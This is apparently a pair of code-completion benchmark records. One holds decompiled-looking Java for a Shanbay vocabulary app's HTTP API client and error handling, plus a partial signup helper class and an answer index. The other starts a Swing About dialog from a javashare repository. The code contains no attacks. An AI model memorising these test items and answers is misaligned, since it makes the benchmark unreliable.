paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"api/v1/book/comment/{comment_id}/\".replace(\n\t\t\t\t\"{comment_id}\", paramLong + \"\");\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"content\", paramString);\n\t\tput(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void example(Context paramContext, ArrayList<Long> paramArrayList,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"api/v1/bdc/example/?ids=\"\n\t\t\t\t\t\t+ Misc.idsToQueryString(paramArrayList), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void feedback(Context paramContext, int paramInt,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/feedback/?id=\" + paramInt, null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void feedbackReplied(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/feedback/replied/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void feedbackReply(Context paramContext, int paramInt,\n\t\t\tString paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"feedback_id\", Integer.toString(paramInt));\n\t\tlocalRequestParams.put(\"content\", paramString);\n\t\tpost(paramContext, \"api/v1/feedback/reply/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void forgot(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"api/v1/bdc/learning/\" + paramLong;\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"retention\", \"1\");\n\t\tput(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void getBadge(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/badger/award/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic String getHost() {\n\t\treturn HOST;\n\t}\n\n\tpublic void getNewBadge(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/badger/award/?deferred\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void groupNotification(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/team/notification/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void helpCategory(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/help/category/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void helpDetail(Context paramContext, String paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/help/article/\" + paramString, null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void ignoreNotification(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tput(paramContext, \"api/v1/notification/\" + paramLong + \"/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void init(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/bdc/init/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void latestBroadcast(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/broadcast/latest/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void latestFeedback(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/feedback/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void listBookComments(Context paramContext, String paramString,\n\t\t\tlong paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/book/comment/{app_name}/{book_id}/{comment_type}\"\n\t\t\t\t\t\t.replace(\"{app_name}\", paramString)\n\t\t\t\t\t\t.replace(\"{book_id}\", paramLong + \"\")\n\t\t\t\t\t\t.replace(\"{comment_type}\", \"all\"), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void listMyBookComment(Context paramContext, String paramString,\n\t\t\tlong paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/book/comment/{app_name}/{book_id}/{comment_type}\"\n\t\t\t\t\t\t.replace(\"{app_name}\", paramString)\n\t\t\t\t\t\t.replace(\"{book_id}\", paramLong + \"\")\n\t\t\t\t\t\t.replace(\"{comment_type}\", \"mine\"), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void login(Context mContext, String usernameStr,\n\t\t\tString passwordStr,\n\t\t\tAsyncHttpResponseHandler ahrh) {\n\t\tLog.e(\"APIClient\", \"login\");\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"username\", usernameStr);\n\t\tlocalRequestParams.put(\"password\", passwordStr);\n\t\tput(mContext, \"api/v1/account/login/\", localRequestParams, ahrh);\n\t}\n\n\tpublic void logout(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tput(paramContext, \"api/v1/account/logout/\", new RequestParams(),\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void myGroupInfo(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/team/member/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void notification(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/notification/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void pass(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"api/v1/bdc/learning/\" + paramLong;\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"pass\", \"1\");\n\t\tput(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void points(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/points/{user_id}\".replace(\"{user_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void postCheckinComment(Context paramContext, long paramLong1,\n\t\t\tString paramString, long paramLong2, long paramLong3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"/api/v1/checkin/{checkin_id}/comment/\".replace(\n\t\t\t\t\"{checkin_id}\", paramLong2 + \"\");\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"checkin_user_id\", paramLong1 + \"\");\n\t\tlocalRequestParams.put(\"comment\", paramString);\n\t\tif (paramLong3 != -1L)\n\t\t\tlocalRequestParams.put(\"user\", paramLong3 + \"\");\n\t\tpost(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void postFeedback(Context paramContext, String paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"content\", paramString);\n\t\tpost(paramContext, \"api/v1/feedback/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void putQuota(Context paramContext, int paramInt,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"quota\", Integer.toString(paramInt));\n\t\tput(paramContext, \"api/v1/quota/applet/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void quotas(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/quota/applet/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void quote(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/quote/\", null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void readShortMessage(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/message/\" + paramLong + \"/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void receiveNewBadge(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tpost(paramContext, \"/api/v1/badger/award/badge/{badge_id}\".replace(\n\t\t\t\t\"{badge_id}\", Long.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void replyShortMessage(Context paramContext, long paramLong,\n\t\t\tString paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tString str = \"/api/v1/message/\" + paramLong + \"/reply/\";\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"body\", paramString);\n\t\tpost(paramContext, str, localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void search(Context paramContext, String paramString,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tObject localObject = \"api/v1/bdc/search/\";\n\t\ttry {\n\t\t\tString str = (String) localObject + \"?word=\"\n\t\t\t\t\t+ URLEncoder.encode(paramString, \"UTF-8\");\n\t\t\tlocalObject = str;\n\t\t\tget(paramContext, (String) localObject, null,\n\t\t\t\t\tparamAsyncHttpResponseHandler);\n\t\t\treturn;\n\t\t} catch (UnsupportedEncodingException localUnsupportedEncodingException) {\n\t\t\twhile (true)\n\t\t\t\tlocalUnsupportedEncodingException.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void sendShortMessage(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"recipient\", paramString1);\n\t\tlocalRequestParams.put(\"subject\", paramString2);\n\t\tlocalRequestParams.put(\"body\", paramString3);\n\t\tpost(paramContext, \"/api/v1/message/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareArticle(Context paramContext, String paramString,\n\t\t\tint paramInt, AsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/read/article/share/\" + paramString + \"/\"\n\t\t\t\t+ paramInt + \"/\", null, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareArticleReview(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"img_url\", paramString2);\n\t\tlocalRequestParams.put(\"text\", paramString1);\n\t\tlocalRequestParams.put(\"url\", paramString3);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareCheckin(Context paramContext, String paramString,\n\t\t\tlong paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tObject[] arrayOfObject = new Object[3];\n\t\tarrayOfObject[0] = \"/api/v1/checkin/share/\";\n\t\tarrayOfObject[1] = paramString;\n\t\tarrayOfObject[2] = Long.valueOf(paramLong);\n\t\tget(paramContext, String.format(\"%s%s/%s/\", arrayOfObject), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareCheckinCalendar(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3, String paramString4,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"text\", paramString2);\n\t\tlocalRequestParams.put(\"img_url\", paramString3);\n\t\tlocalRequestParams.put(\"url\", paramString4);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareFootprint(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"text\", paramString2);\n\t\tlocalRequestParams.put(\"url\", paramString3);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareImage(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/mobile/product/image/android\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareInvite(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"text\", paramString2);\n\t\tlocalRequestParams.put(\"url\", paramString3);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareListenArticle(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"api/v1/listen/article/share/{service}/{article_id}\".replace(\n\t\t\t\t\t\t\"{service}\", \"weibo\").replace(\"{article_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareRecommend(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"img_url\", paramString3);\n\t\tlocalRequestParams.put(\"text\", paramString2);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shareTopicThread(Context paramContext, String paramString1,\n\t\t\tString paramString2, String paramString3,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tRequestParams localRequestParams = new RequestParams();\n\t\tlocalRequestParams.put(\"text\", paramString2);\n\t\tlocalRequestParams.put(\"url\", paramString3);\n\t\tpost(paramContext, \"api/v1/common/share/\", localRequestParams,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shortMessage(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/message/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void shortMessageReply(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"/api/v1/message/\" + paramLong + \"/reply/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void stats(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/read/stats/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void statsLatest(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/read/stats//?latest\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void statsProgress(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/bdc/stats/\" + paramLong + \"/?progress\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void sysExamples(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/bdc/example/sys/?vocabulary_id=\" + paramLong,\n\t\t\t\tnull, paramAsyncHttpResponseHandler);\n\t}\n\n\tpublic void team(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/team/{team_id}/\".replace(\"{team_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void user(Context mContext, ModelResponseHandler<User> mrh) {\n\t\tLog.e(\"APIClient.user()\", \"APIClient.user()\");\n\t\tget(mContext, \"api/v1/common/user/\", null, mrh);\n\t}\n\n\tpublic void userAccount(Context paramContext,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext, \"api/v1/coins/useraccount/\", null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void userCheckinCalendar(Context paramContext, long paramLong,\n\t\t\tint paramInt1, int paramInt2,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/checkin/user/{user_id}/?v=2&year={year}&month={month}\"\n\t\t\t\t\t\t.replace(\"{user_id}\", Long.toString(paramLong))\n\t\t\t\t\t\t.replace(\"{year}\", Integer.toString(paramInt1))\n\t\t\t\t\t\t.replace(\"{month}\", Integer.toString(paramInt2)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void userCheckinDays(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/checkin/user/{user_id}\".replace(\"{user_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void userTeam(Context paramContext, long paramLong,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"/api/v1/team/member/?u={user_id}\".replace(\"{user_id}\",\n\t\t\t\t\t\tLong.toString(paramLong)), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n\n\tpublic void vocabulary(Context paramContext,\n\t\t\tArrayList<Long> paramArrayList,\n\t\t\tAsyncHttpResponseHandler paramAsyncHttpResponseHandler) {\n\t\tget(paramContext,\n\t\t\t\t\"api/v1/bdc/vocabulary/?ids=\"\n\t\t\t\t\t\t+ Misc.idsToQueryString(paramArrayList), null,\n\t\t\t\tparamAsyncHttpResponseHandler);\n\t}\n}", "public class DataResponseHandler extends GsonResponseHandler\n{\n protected static JsonElement getData(JsonObject paramJsonObject)\n {\n return paramJsonObject.get(\"data\");\n }\n\n protected static int getStatusCode(JsonObject paramJsonObject)\n {\n if (paramJsonObject.has(\"status_code\"))\n return paramJsonObject.get(\"status_code\").getAsInt();\n return -1;\n }\n\n public void handleJsonData(int paramInt, Header[] paramArrayOfHeader, JsonElement paramJsonElement)\n {\n if (paramJsonElement.isJsonObject())\n {\n JsonObject localJsonObject = paramJsonElement.getAsJsonObject();\n int i = getStatusCode(localJsonObject);\n if (i == 0)\n {\n handleSuccessData(localJsonObject);\n return;\n }\n onFailure(new ModelResponseException(i, localJsonObject.get(\"msg\").getAsString()), localJsonObject);\n return;\n }\n onFailure(new ModelResponseException(new Exception(\"Unexpected type \" + paramJsonElement.getClass().getName())), (JsonElement)null);\n }\n\n protected void handleSuccessData(JsonObject paramJsonObject)\n {\n onSuccess(0, getData(paramJsonObject));\n }\n}", "public class ModelResponseException extends Exception\n{\n public static final int STATUS_CODE_CONNECT_EXCEPTION = 983040;\n public static final int STATUS_CODE_JSON_PARSE_EXCEPTION = 268369920;\n public static final int STATUS_CODE_NETWORK_404 = 268369921;\n public static final int STATUS_CODE_NETWORK_EXCEPTION = 16711680;\n public static final int STATUS_CODE_NEWWORK_TIME_OUT = 268369922;\n public static final int STATUS_CODE_OBJECT_MAPPING_EXCEPTION = -65536;\n public static final int STATUS_CODE_UNKNOWN_EXCEPTION = -15;\n private static final long serialVersionUID = -1870921441796123137L;\n private String msg;\n private int statusCode;\n\n public ModelResponseException(int paramInt, String paramString)\n {\n this.statusCode = paramInt;\n this.msg = paramString;\n }\n\n public ModelResponseException(Throwable paramThrowable)\n {\n if ((paramThrowable instanceof HttpResponseException))\n {\n HttpResponseException localHttpResponseException = (HttpResponseException)paramThrowable;\n if (localHttpResponseException.getStatusCode() == 404){\n \t statusCode = STATUS_CODE_NETWORK_404;\n }else{\n \t statusCode = localHttpResponseException.getStatusCode();\n }\n msg = localHttpResponseException.getMessage();\n }\n if ((paramThrowable instanceof ConnectException))\n {\n statusCode = 983040;\n msg = paramThrowable.getMessage();\n return;\n }\n if ((paramThrowable instanceof UnknownHostException))\n {\n statusCode = 16711680;\n msg = paramThrowable.getMessage();\n return;\n }\n if ((paramThrowable instanceof UnknownHostException))\n {\n statusCode = 16711680;\n msg = paramThrowable.getMessage();\n return;\n }\n if (((paramThrowable instanceof SocketTimeoutException)) || ((paramThrowable instanceof ConnectTimeoutException)))\n {\n statusCode = 268369922;\n msg = paramThrowable.getMessage();\n return;\n }\n statusCode = -15;\n msg = (\"unknown exception:\" + paramThrowable.getClass().getName() + \" | Message:\" + paramThrowable.getMessage());\n }\n\n public String getMessage()\n {\n return msg;\n }\n\n public int getStatusCode()\n {\n return statusCode;\n }\n\n public boolean isDefinedStatus()\n {\n return (0x8030000 & statusCode) == 134414336;\n }\n\n public void setMsg(String paramString)\n {\n msg = paramString;\n }\n\n public void setStatusCode(int paramInt)\n {\n statusCode = paramInt;\n }\n}" ]
import android.os.Bundle; import android.util.Log; import android.widget.TextView; import com.shanbay.app.BaseActivityHelper; import com.shanbay.app.ShanbayActivity; import com.shanbay.http.APIClient; import com.shanbay.http.DataResponseHandler; import com.shanbay.http.ModelResponseException; import com.shanbay.words.R; import com.google.renamedgson.JsonElement;
package com.shanbay.account; public class SignupActivityHelper<T extends APIClient> extends BaseActivityHelper<T> { protected TextView mEmailTextView; private InitHandler<T> mInitRH; protected TextView mPassword2TextView; protected TextView mPasswordTextView; private UserHandler<T> mUserHandler; protected TextView mUsernameTextView;
public SignupActivityHelper(ShanbayActivity<T> mActivity) {
1
bvarner/javashare
src/main/java/org/beShare/gui/AppPanel.java
[ "public class AboutDialog extends JDialog implements ActionListener {\r\n\tJPanel\t\tmainPanel;\r\n\tCreditPanel\tcreditPanel;\r\n\tJLabel\t\tlblAppImage;\r\n\t\r\n\tJButton btnOk;\r\n\t\r\n\t/**\r\n\t * Creates a new AboutDialog with the following parameters:\r\n\t *\r\n\t * @param owner - The owner frame of this Dialog. It will be centered in owners bounds.\r\n\t * @param title - The Title of the About Dialog.\r\n\t * @param modal - Specifies weather or not this should be a blocking dialog.\r\n\t * @param aboutText - A String array containing the text to be scrolled in the credits area.\r\n\t *\t\t\t\tThe first element, <code>aboutText[0]</code> is used for the application title.\r\n\t * @param appIcon - An ImageIcon to be displayed beside the AppName (<code>aboutText[0]</code>)\r\n\t *\t\t\t\tin the dialog.\r\n\t * @param maxLoops - The maximum times the credits will loop per user click.\r\n\t * @param speed - speed is 100ths of a second between repaint()s.\r\n\t */\r\n\tpublic AboutDialog(Frame owner, String title, boolean modal,\r\n\t\t\t\t\t\tString[] aboutText, ImageIcon appIcon,\r\n\t\t\t\t\t\tint maxLoops, int speed){\r\n\t\tsuper(owner, title, modal);\r\n\t\t\r\n\t\tsetDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE);\r\n\t\t\r\n\t\tmainPanel = new JPanel(new BorderLayout());\r\n\t\t\r\n\t\tcreditPanel = new CreditPanel(aboutText, maxLoops, speed);\r\n\t\t\r\n\t\tJPanel titleHolder = new JPanel(new BorderLayout());\r\n\t\tlblAppImage = new JLabel(aboutText[0],\r\n\t\t\t\t\t\t\t\tappIcon,\r\n\t\t\t\t\t\t\t\tSwingConstants.LEADING);\r\n\t\t\r\n\t\tlblAppImage.setFont(new Font(lblAppImage.getFont().getName(), Font.BOLD, 24));\r\n\t\t\r\n\t\ttitleHolder.add(lblAppImage, BorderLayout.WEST);\r\n\t\t\r\n\t\tJPanel btnHolder = new JPanel(new BorderLayout());\r\n\t\tbtnOk = new JButton(\"Close\");\r\n\t\tbtnOk.addActionListener(this);\r\n\t\t\r\n\t\tbtnHolder.add(btnOk, BorderLayout.EAST);\r\n\t\t\r\n\t\tmainPanel.add(titleHolder, BorderLayout.NORTH);\r\n\t\tmainPanel.add(creditPanel, BorderLayout.CENTER);\r\n\t\tmainPanel.add(btnHolder, BorderLayout.SOUTH);\r\n\t\t\r\n\t\tgetRootPane().setDefaultButton(btnOk);\r\n\t\t\r\n\t\tsetContentPane(mainPanel);\r\n\t\tsetResizable(false);\r\n\t\tpack();\r\n\t\trecenter();\r\n\t}\r\n\t\r\n\tpublic AboutDialog(JPanel owner, String title, boolean modal,\r\n\t\t\t\t\t\tString[] aboutText, ImageIcon appIcon,\r\n\t\t\t\t\t\tint maxLoops, int speed)\r\n\t{\r\n\t\tthis((Frame)null, title, modal, aboutText, appIcon, maxLoops, speed);\r\n\t\ttry{\r\n\t\t\tGraphicsEnvironment systemGE\r\n\t\t\t\t= GraphicsEnvironment.getLocalGraphicsEnvironment();\r\n\t\t\t\tRectangle screenRect = systemGE.getDefaultScreenDevice().getDefaultConfiguration().getBounds();\r\n\t\t\t\tthis.setBounds((screenRect.width / 2) - (this.getBounds().width / 2),\r\n\t\t\t\t\t\t(screenRect.height / 2) - (this.getBounds().height / 2),\r\n\t\t\t\t\t\tthis.getBounds().width, this.getBounds().height);\r\n\t\t} catch (NoClassDefFoundError ncdfe){\r\n\t\t\tToolkit tk = Toolkit.getDefaultToolkit();\r\n\t\t\tRectangle screenRect = new Rectangle(tk.getScreenSize());\r\n\t\t\tthis.setBounds((screenRect.width / 2) - (this.getBounds().width / 2),\r\n\t\t\t\t\t(screenRect.height / 2) - (this.getBounds().height / 2),\r\n\t\t\t\t\tthis.getBounds().width, this.getBounds().height);\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Detects the Button Press, and Disposes of the dialog.\r\n\t */\r\n\tpublic void actionPerformed(ActionEvent e){\r\n\t\tthis.dispose();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Re-centers the dialog within the bounds of it's owner.\r\n\t */\r\n\tpublic void recenter(){\r\n\t\tRectangle ownerBounds = getParent().getBounds();\r\n\t\tRectangle meBounds = this.getBounds();\r\n\t\tthis.setBounds(ownerBounds.x + ((ownerBounds.width - meBounds.width) / 2)\r\n\t\t\t\t\t\t, ownerBounds.y + ((ownerBounds.height - meBounds.height) / 2)\r\n\t\t\t\t\t\t, meBounds.width \r\n\t\t\t\t\t\t, meBounds.height);\r\n\t}\r\n\t\r\n\t/**\r\n\t * Stops the scroll timer if active, and disposes of the window.\r\n\t *\r\n\t * @overrides JDialog.dispose()\r\n\t */\r\n\tpublic void dispose(){\r\n\t\tcreditPanel.stopScroll();\r\n\t\tsuper.dispose();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Custom class for scrolling text within an area.\r\n\t */\r\n\tfinal class CreditPanel extends JPanel {\r\n\t\t// Scrolling data\r\n\t\tint\t\t\tloops;\r\n\t\tint\t\t\tmaxLoops;\r\n\t\tint\t\t\tyPos;\r\n\t\tboolean\t\tscrolling;\r\n\t\tString[]\ttext;\r\n\t\t\r\n\t\tint\t\t\tlineHeight;\r\n\t\t\r\n\t\tTimer\t\tscrollTimer;\r\n\t\t\r\n\t\t/**\r\n\t\t * Creates a new CreditPanel that scrolls text.\r\n\t\t *\r\n\t\t * @param textToScroll - The text to be scrolled. Element [0] is ignored.\r\n\t\t * @param maximumLoops - The maximum times to scroll when a user starts the scroll.\r\n\t\t * @param speed - speed is 100ths of a second between repaint()s.\r\n\t\t */\r\n\t\tpublic CreditPanel(String[] textToScroll, int maximumLoops, int speed) {\r\n\t\t\tsuper();\r\n\t\t\t\r\n\t\t\t// scroll data.\r\n\t\t\tscrolling = false;\r\n\t\t\tloops = 0;\r\n\t\t\tmaxLoops = maximumLoops;\r\n\t\t\tyPos = 0;\r\n\t\t\ttext = textToScroll;\r\n\t\t\t\r\n\t\t\t// Size of the text. 